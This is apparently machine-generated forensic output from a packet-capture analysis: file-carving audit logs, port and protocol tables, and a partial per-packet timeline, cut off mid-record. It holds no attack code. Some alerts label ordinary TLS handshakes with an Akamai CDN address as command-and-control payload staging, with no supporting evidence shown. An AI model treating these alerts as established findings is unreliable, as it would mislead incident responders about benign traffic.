61 70 0a 30 30 30 30 30 30 31 33 2e 67 69 66 20 20 20 20 20 20 20 20 32 37 32 39 37 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 35 6b 33 76 62 7a 35 6b 2e 70 63 61 70 0a 30 30 30 30 30 30 31 32 2e 67 69 66 20 20 20 20 20 20 20 20 32 34 37 32 35 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 35 6b 33 76 62 7a 35 6b 2e 70 63 61 70 0a 30 30 30 30 30 30 31 31 2e 67 69 66 20 20 20 20 20 20 20 20 31 30 33 38 31 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 35 6b 33 76 62 7a 35 6b 2e 70 63 61 70 0a 30 30 30 30 30 30 31 30 2e 67 69 66 20 20 20 20 20 20 20 20 35 30 36 31 33 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 35 6b 33 76 62 7a 35 6b 2e 70 63 61 70 0a 30 30 30 30 30 30 30 39 2e 67 69 66 20 20 20 20 20 20 20 20 33 36 35 39 35 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 35 6b 33 76 62 7a 35 6b 2e 70 63 61 70 0a 30 30 30 30 30 30 30 38 2e 67 69 66 20 20 20 20 20 20 20 20 33 35 35 38 39 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 35 6b 33 76 62 7a 35 6b 2e 70 63 61 70 0a 30 30 30 30 30 30 30 37 2e 67 69 66 20 20 20 20 20 20 20 20 33 34 37 38 37 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 35 6b 33 76 62 7a 35 6b 2e 70 63 61 70 0a 30 30 30 30 30 30 30 36 2e 67 69 66 20 20 20 20 20 20 20 20 33 34 35 37 31 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 35 6b 33 76 62 7a 35 6b 2e 70 63 61 70 0a 30 30 30 30 30 30 30 35 2e 67 69 66 20 20 20 20 20 20 20 20 33 33 37 34 33 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 35 6b 33 76 62 7a 35 6b 2e 70 63 61 70 0a 30 30 30 30 30 30 30 34 2e 67 69 66 20 20 20 20 20 20 20 20 32 37 32 39 37 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 35 6b 33 76 62 7a 35 6b 2e 70 63 61 70 0a 30 30 30 30 30 30 30 33 2e 67 69 66 20 20 20 20 20 20 20 20 32 34 37 32 35 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 35 6b 33 76 62 7a 35 6b 2e 70 63 61 70 0a 30 30 30 30 30 30 30 32 2e 67 69 66 20 20 20 20 20 20 20 20 31 30 33 38 31 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 35 6b 33 76 62 7a 35 6b 2e 70 63 61 70 0a 30 30 30 30 30 30 30 31 2e 6a 70 67 20 20 20 20 20 20 20 20 31 33 39 35 39 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 35 6b 33 76 62 7a 35 6b 2e 70 63 61 70 0a 30 30 30 30 30 30 30 30 2e 6a 70 67 20 20 20 20 20 20 20 20 31 33 39 35 39 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 35 6b 33 76 62 7a 35 6b 2e 70 63 61 70 0a 0a 0a 43 6f 6d 70 6c 65 74 65 64 20 61 74 20 53 75 6e 20 4a 75 6e 20 32 38 20 31 39 3a 34 32 3a 35 35 20 32 30 32 36 0a\n2026-06-28T19:42:55.212054,Tool:carved/foremost,Unknown,0,Unknown,0,HTTP,audit.txt,txt,/tmp/tmp6925_lng/carved/foremost/audit.txt,700,3e97a7a083e5b7019ca5acc95dd6dff5,4a26c8c8fbdfef0ff34656cb1792b95a61e21a64b1e00302f7dfe17b59be6e4c,4.91,\"Foremost version 1.5.7 by Jesse Kornblum, Kris Kendall, and Nick Mikus, Audit File, Foremost started at Sun Jun 28 19:42:55 2026, Invocation: foremost -t all -i /tmp/filtered_5k3vbz5k.pcap -o /tmp/tmp6925_lng/carved/foremost , Output directory: /tmp/tmp6925_lng/carved/foremost, Configuration file: /etc/foremost.conf, ------------------------------------------------------------------, File: /tmp/filtered_5k3vbz5k.pcap, Start: Sun Jun 28 19:42:55 2026, Length: 57 KB (58796 bytes),  Name (bs, 512),        Size,  File Offset,  Comment , Finish: Sun Jun 28 19:42:55 2026, 0 FILES EXTRACTED, ------------------------------------------------------------------, Foremost finished at Sun Jun 28 19:42:55 2026\",46 6f 72 65 6d 6f 73 74 20 76 65 72 73 69 6f 6e 20 31 2e 35 2e 37 20 62 79 20 4a 65 73 73 65 20 4b 6f 72 6e 62 6c 75 6d 2c 20 4b 72 69 73 20 4b 65 6e 64 61 6c 6c 2c 20 61 6e 64 20 4e 69 63 6b 20 4d 69 6b 75 73 0a 41 75 64 69 74 20 46 69 6c 65 0a 0a 46 6f 72 65 6d 6f 73 74 20 73 74 61 72 74 65 64 20 61 74 20 53 75 6e 20 4a 75 6e 20 32 38 20 31 39 3a 34 32 3a 35 35 20 32 30 32 36 0a 49 6e 76 6f 63 61 74 69 6f 6e 3a 20 66 6f 72 65 6d 6f 73 74 20 2d 74 20 61 6c 6c 20 2d 69 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 35 6b 33 76 62 7a 35 6b 2e 70 63 61 70 20 2d 6f 20 2f 74 6d 70 2f 74 6d 70 36 39 32 35 5f 6c 6e 67 2f 63 61 72 76 65 64 2f 66 6f 72 65 6d 6f 73 74 20 0a 4f 75 74 70 75 74 20 64 69 72 65 63 74 6f 72 79 3a 20 2f 74 6d 70 2f 74 6d 70 36 39 32 35 5f 6c 6e 67 2f 63 61 72 76 65 64 2f 66 6f 72 65 6d 6f 73 74 0a 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 69 6c 65 3a 20 2f 65 74 63 2f 66 6f 72 65 6d 6f 73 74 2e 63 6f 6e 66 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 46 69 6c 65 3a 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 35 6b 33 76 62 7a 35 6b 2e 70 63 61 70 0a 53 74 61 72 74 3a 20 53 75 6e 20 4a 75 6e 20 32 38 20 31 39 3a 34 32 3a 35 35 20 32 30 32 36 0a 4c 65 6e 67 74 68 3a 20 35 37 20 4b 42 20 28 35 38 37 39 36 20 62 79 74 65 73 29 0a 20 0a 4e 75 6d 09 20 4e 61 6d 65 20 28 62 73 3d 35 31 32 29 09 20 20 20 20 20 20 20 53 69 7a 65 09 20 46 69 6c 65 20 4f 66 66 73 65 74 09 20 43 6f 6d 6d 65 6e 74 20 0a 0a 46 69 6e 69 73 68 3a 20 53 75 6e 20 4a 75 6e 20 32 38 20 31 39 3a 34 32 3a 35 35 20 32 30 32 36 0a 0a 30 20 46 49 4c 45 53 20 45 58 54 52 41 43 54 45 44 0a 09 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 46 6f 72 65 6d 6f 73 74 20 66 69 6e 69 73 68 65 64 20 61 74 20 53 75 6e 20 4a 75 6e 20 32 38 20 31 39 3a 34 32 3a 35 35 20 32 30 32 36 0a\n2026-06-28T19:42:55.219675,Tool:scalpel/jpg-0-0,Unknown,0,Unknown,0,HTTP,00000000.jpg,jpg,/tmp/tmp6925_lng/carved/scalpel/jpg-0-0/00000000.jpg,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-06-28T19:42:55.218756,Tool:scalpel/mp3-9-0,Unknown,0,Unknown,0,HTTP,00000020.mp3,mp3,/tmp/tmp6925_lng/carved/scalpel/mp3-9-0/00000020.mp3,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-06-28T19:42:55.219675,Tool:scalpel/jpg-1-0,Unknown,0,Unknown,0,HTTP,00000001.jpg,jpg,/tmp/tmp6925_lng/carved/scalpel/jpg-1-0/00000001.jpg,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-06-28T19:42:55.219675,Tool:scalpel/gif-3-0,Unknown,0,Unknown,0,HTTP,00000009.gif,gif,/tmp/tmp6925_lng/carved/scalpel/gif-3-0/00000009.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-06-28T19:42:55.219675,Tool:scalpel/gif-3-0,Unknown,0,Unknown,0,HTTP,00000010.gif,gif,/tmp/tmp6925_lng/carved/scalpel/gif-3-0/00000010.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-06-28T19:42:55.219675,Tool:scalpel/gif-3-0,Unknown,0,Unknown,0,HTTP,00000007.gif,gif,/tmp/tmp6925_lng/carved/scalpel/gif-3-0/00000007.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-06-28T19:42:55.219675,Tool:scalpel/gif-3-0,Unknown,0,Unknown,0,HTTP,00000008.gif,gif,/tmp/tmp6925_lng/carved/scalpel/gif-3-0/00000008.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-06-28T19:42:55.219675,Tool:scalpel/gif-3-0,Unknown,0,Unknown,0,HTTP,00000004.gif,gif,/tmp/tmp6925_lng/carved/scalpel/gif-3-0/00000004.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-06-28T19:42:55.219675,Tool:scalpel/gif-3-0,Unknown,0,Unknown,0,HTTP,00000003.gif,gif,/tmp/tmp6925_lng/carved/scalpel/gif-3-0/00000003.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-06-28T19:42:55.219675,Tool:scalpel/gif-3-0,Unknown,0,Unknown,0,HTTP,00000002.gif,gif,/tmp/tmp6925_lng/carved/scalpel/gif-3-0/00000002.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-06-28T19:42:55.219675,Tool:scalpel/gif-3-0,Unknown,0,Unknown,0,HTTP,00000006.gif,gif,/tmp/tmp6925_lng/carved/scalpel/gif-3-0/00000006.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-06-28T19:42:55.219675,Tool:scalpel/gif-3-0,Unknown,0,Unknown,0,HTTP,00000005.gif,gif,/tmp/tmp6925_lng/carved/scalpel/gif-3-0/00000005.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-06-28T19:42:55.218756,Tool:scalpel/gif-4-0,Unknown,0,Unknown,0,HTTP,00000019.gif,gif,/tmp/tmp6925_lng/carved/scalpel/gif-4-0/00000019.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-06-28T19:42:55.219675,Tool:scalpel/gif-4-0,Unknown,0,Unknown,0,HTTP,00000011.gif,gif,/tmp/tmp6925_lng/carved/scalpel/gif-4-0/00000011.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-06-28T19:42:55.218756,Tool:scalpel/gif-4-0,Unknown,0,Unknown,0,HTTP,00000018.gif,gif,/tmp/tmp6925_lng/carved/scalpel/gif-4-0/00000018.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-06-28T19:42:55.219675,Tool:scalpel/gif-4-0,Unknown,0,Unknown,0,HTTP,00000014.gif,gif,/tmp/tmp6925_lng/carved/scalpel/gif-4-0/00000014.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-06-28T19:42:55.219675,Tool:scalpel/gif-4-0,Unknown,0,Unknown,0,HTTP,00000013.gif,gif,/tmp/tmp6925_lng/carved/scalpel/gif-4-0/00000013.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-06-28T19:42:55.219675,Tool:scalpel/gif-4-0,Unknown,0,Unknown,0,HTTP,00000016.gif,gif,/tmp/tmp6925_lng/carved/scalpel/gif-4-0/00000016.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-06-28T19:42:55.219675,Tool:scalpel/gif-4-0,Unknown,0,Unknown,0,HTTP,00000012.gif,gif,/tmp/tmp6925_lng/carved/scalpel/gif-4-0/00000012.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-06-28T19:42:55.219675,Tool:scalpel/gif-4-0,Unknown,0,Unknown,0,HTTP,00000015.gif,gif,/tmp/tmp6925_lng/carved/scalpel/gif-4-0/00000015.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-06-28T19:42:55.218756,Tool:scalpel/gif-4-0,Unknown,0,Unknown,0,HTTP,00000017.gif,gif,/tmp/tmp6925_lng/carved/scalpel/gif-4-0/00000017.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n","network_analysis_protocols.csv":"Protocol,Packets,Bytes,Packet %,Byte %\nTCP,136,54079,100.00%,100.00%\n","network_analysis_http_graph.csv":"Timestamp,Stream ID,Source IP,Destination IP,Method,Host,URL,Referer,User-Agent\n0,4,10.152.152.11,23.143.152.86,GET,23.143.152.86,http://23.143.152.86,None,Extracted via Decryption\n","network_analysis_ports.csv":"Port,Packets,Bytes,Packet %,Byte %\n443,127,48753,46.69%,45.08%\n64004,36,13968,13.24%,12.91%\n63964,34,9900,12.50%,9.15%\n63997,34,9722,12.50%,8.99%\n63946,23,15163,8.46%,14.02%\n64007,9,5326,3.31%,4.92%\n80,9,5326,3.31%,4.92%\n","packet_forensic_timeline.csv":"Timestamp_UTC,Packet_Num,Flow_ID,Src_IP,Dst_IP,Src_Port,Dst_Port,Protocol,Src_Country,Src_City,Src_ASN,Src_AS_Org,Src_Lat,Src_Lon,Src_Network,Dst_Country,Dst_City,Dst_ASN,Dst_AS_Org,Dst_Lat,Dst_Lon,Dst_Network,TCP_Flags,DNS_Query,HTTP_Url,Protocol_Stack,Layer_Depth,Description,Packet_Content(Hex),Packet_Content,Alerts,Complete_Dissection\n2026-06-28 14:01:41.456189,1,TCP 10.152.152.11:63946 -> 184.30.157.69:443,10.152.152.11,184.30.157.69,63946,443,TCP,Internal,Private Network,,,,,,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,S,,,Ether > IP > TCP,3,TCP S Seq=1308797173 Ack=0,bc24112907bbbc2411360d0c0800450000342faf40008006d30d0a98980bb81e9d45f9ca01bb4e02a8f5000000008002faf0899a0000020405b40103030801010402,\".$.)...$.6\n...E..4/.@....\n......E....N...........................\",[TSHARK-OBJECT] windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json%3fcacheHostOrigin=download.windowsupdate.com,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 12207, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 54029, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"184.30.157.69\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63946, \"\"dport\"\": 443, \"\"seq\"\": 1308797173, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 64240, \"\"chksum\"\": 35226, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-06-28 14:01:41.456194,2,TCP 184.30.157.69:443 -> 10.152.152.11:63946,184.30.157.69,10.152.152.11,443,63946,TCP,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=553011997 Ack=1308797174,bc2411360d0cbc24112907bb08004500003400004000400642bdb81e9d450a98980b01bbf9ca20f64b1d4e02a8f68012faf0f82d0000020405b4010104020103030a,\".$.6\n..$.)....E..4..@.@.B....E\n....... .K.N........-.............\n\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17085, \"\"src\"\": \"\"184.30.157.69\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63946, \"\"seq\"\": 553011997, \"\"ack\"\": 1308797174, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 64240, \"\"chksum\"\": 63533, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 10)]\"\"}}]\"\n2026-06-28 14:01:41.456428,3,TCP 10.152.152.11:63946 -> 184.30.157.69:443,10.152.152.11,184.30.157.69,63946,443,TCP,Internal,Private Network,,,,,,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=1308797174 Ack=553011998,bc24112907bbbc2411360d0c0800450000282fb040008006d3180a98980bb81e9d45f9ca01bb4e02a8f620f64b1e5010201439260000,\".$.)...$.6\n...E..(/.@.....\n......E....N... .K.P. .9&..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 12208, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 54040, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"184.30.157.69\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63946, \"\"dport\"\": 443, \"\"seq\"\": 1308797174, \"\"ack\"\": 553011998, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14630, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:41.457061,4,TCP 10.152.152.11:63946 -> 184.30.157.69:443,10.152.152.11,184.30.157.69,63946,443,TCP,Internal,Private Network,,,,,,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=1308797174 Ack=553011998,bc24112907bbbc2411360d0c0800450000e22fb140008006d25d0a98980bb81e9d45f9ca01bb4e02a8f620f64b1e50182014bbb0000016030300b5010000b103036a418bb336108f178cc59c14e9b73c46201e0dd4c4ad63a8dc69f893bf1329ef000026c02cc02bc030c02fc024c023c028c027c00ac009c014c013009d009c003d003c0035002f000a010000620000001800160000136173736574732e61646f626564746d2e636f6d000500050100000000000a00080006001d00170018000b00020100000d001a00180804080508060401050102010403050302030202060106030023000000170000ff01000100,\".$.)...$.6\n...E.../.@....]\n......E....N... .K.P. ................jA..6.........<F .\n...c..i....)...&.,.+.0./.$.#.(.'.\n.\t.........=.<.5./.\n...b.........assets.adobedtm.com..........\n.................\n.............................#...........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 226, \"\"id\"\": 12209, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 53853, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"184.30.157.69\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63946, \"\"dport\"\": 443, \"\"seq\"\": 1308797174, \"\"ack\"\": 553011998, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 48048, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 181, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSClientHello  msgtype=client_hello msglen=177 version=TLS 1.2 gmt_unix_time=Sun, 28 Jun 2026 21:01:39  (1782680499) random_bytes=36108f178cc59c14e9b73c46201e0dd4c4ad63a8dc69f893bf1329ef sidlen=0 sid=b'' cipherslen=38 ciphers=[TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384, TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_AES_256_GCM_SHA384, TLS_RSA_WITH_AES_128_GCM_SHA256, TLS_RSA_WITH_AES_256_CBC_SHA256, TLS_RSA_WITH_AES_128_CBC_SHA256, TLS_RSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_3DES_EDE_CBC_SHA] complen=1 comp=null extlen=98 ext=[<TLS_Ext_ServerName  type=server_name len=24 servernameslen=22 servernames=[b'assets.adobedtm.com'] |>, <TLS_Ext_CSR  type=status_request len=5 stype=ocsp req=[<OCSPStatusRequest  respidlen=0 reqextlen=0 reqext=<X509_Extensions  |> |>] |>, <TLS_Ext_SupportedGroups  type=supported_groups len=8 groupslen=6 groups=[x25519, secp256r1, secp384r1] |>, <TLS_Ext_SupportedPointFormat  type=ec_point_formats len=2 ecpllen=1 ecpl=[uncompressed] |>, <TLS_Ext_SignatureAlgorithms  type=signature_algorithms len=26 sig_algs_len=24 sig_algs=[sha256+rsaepss, sha384+rsaepss, sha512+rsaepss, sha256+rsa, sha384+rsa, sha1+rsa, sha256+ecdsa, sha384+ecdsa, sha1+ecdsa, sha1+dsa, sha512+rsa, sha512+ecdsa] |>, <TLS_Ext_SessionTicket  type=session_ticket len=0 ticket=b'' |>, <TLS_Ext_ExtendedMasterSecret  type=extended_master_secret len=0 |>, <TLS_Ext_RenegotiationInfo  type=renegotiation_info len=1 reneg_conn_len=0 renegotiated_connection=b'' |>] |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-28 14:01:41.457067,5,TCP 184.30.157.69:443 -> 10.152.152.11:63946,184.30.157.69,10.152.152.11,443,63946,TCP,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=553011998 Ack=1308797360,bc2411360d0cbc24112907bb080045000028a06e40004006a25ab81e9d450a98980b01bbf9ca20f64b1e4e02a9b05010003ff8210000,\".$.6\n..$.)....E..(.n@.@..Z...E\n....... .K.N...P..?.!..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 41070, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 41562, \"\"src\"\": \"\"184.30.157.69\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63946, \"\"seq\"\": 553011998, \"\"ack\"\": 1308797360, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 63521, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:41.822713,6,TCP 184.30.157.69:443 -> 10.152.152.11:63946,184.30.157.69,10.152.152.11,443,63946,TCP,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS > Padding,5,TCP PA Seq=553011998 